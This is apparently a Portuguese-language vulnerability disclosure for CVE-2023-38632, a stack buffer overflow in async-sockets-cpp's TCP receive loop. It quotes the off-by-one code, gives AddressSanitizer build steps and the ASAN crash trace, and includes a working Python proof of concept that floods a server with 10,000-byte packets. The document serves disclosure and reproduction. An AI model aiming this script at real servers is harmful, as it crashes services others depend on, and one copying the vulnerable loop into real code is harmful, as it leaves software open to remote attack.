CVE-2023-38632

async-sockets-cpp até a versão 0.3.1 contém uma vulnerabilidade remota de estouro de buffer na função estática void Receive(TCPSocket* socket) em tcpsocket.hpp, linhas 102-110. O estouro de buffer afeta todos os servidores TCP correspondentes. O estouro de buffer remoto pode ser acionado conectando-se a um socket e enviando um grande buffer de bytes.

 while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0) 
 { 
     tempBuffer[messageLength] = '\0'; 
     if(socket->onMessageReceived) 
         socket->onMessageReceived(std::string(tempBuffer, messageLength)); 
      
     if(socket->onRawMessageReceived) 
         socket->onRawMessageReceived(tempBuffer, messageLength); 
 } 

Para confirmar o problema, descompacte e compile o servidor TCP de exemplo (incluído neste repositório) da pasta async-sockets-cpp-master/examples com símbolos de depuração e sanitizador de endereços:

$ unzip async-sockets-cpp-master.zip
$ cd async-sockets-cpp-master/examples

Edite o Makefile para se parecer com o seguinte:

CC		:= g++
CFLAGS	:= --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
LIBS	:= -lpthread -fsanitize=address
INC		:= ../async-sockets/include
RM		:= rm

.PHONY: all clean

all: tcp-client tcp-server udp-client udp-server

tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@

tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@

udp-client: udp-client.cpp $(INC)/udpsocket.hpp
	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@

udp-server: udp-server.cpp $(INC)/udpserver.hpp
	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@

clean:
	$(RM) tcp-client
	$(RM) tcp-server
	$(RM) udp-client
	$(RM) udp-server

Compilação

A partir da pasta async-sockets-cpp-master/examples, execute o seguinte comando para compilar o servidor:

$ make

Uma vez compilado o servidor, execute o tcp-server na porta 8888:

$ ./tcp-server

O seguinte script python3 irá conectar-se ao tcp-server e enviar um pacote grande com cerca de 10.000 bytes de dados. O tamanho mínimo necessário para acionar o estouro de buffer é de 4096 bytes:

import socket

host = "localhost"
port = 8888                   # A mesma porta usada pelo servidor
buf = b'A'*10000               # O estouro ocorre com 4096 bytes

while(True):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(buf)
        data = s.recv(1024)
        s.close()
        #print('Received', repr(data))
    except:
        print("Completed...")

A execução do script python3 acima resultará na falha do servidor e produzirá a seguinte saída detalhada do sanitizador de endereços, mostrando a localização do estouro de buffer na pilha:

$ python3 CVE-2023-38632.py

Saída do ASAN

=================================================================
==1124507==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff4ffdcb0 at pc 0x55555555ef97 bp 0x7ffff4ffcc00 sp 0x7ffff4ffcbf8
WRITE of size 1 at 0x7ffff4ffdcb0 thread T2
    #0 0x55555555ef96 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:104
    #1 0x555555560775 in void std::__invoke_impl<void, void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
    #2 0x5555555605eb in std::__invoke_result<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
    #3 0x5555555604f2 in void std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:252
    #4 0x55555556048f in std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:259
    #5 0x555555560453 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:210
    #6 0x7ffff74d44a2  (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd44a2)
    #7 0x7ffff76a7fd3 in start_thread nptl/pthread_create.c:442
    #8 0x7ffff77285bb in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Address 0x7ffff4ffdcb0 is located in stack of thread T2 at offset 4224 in frame
    #0 0x55555555eea1 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:97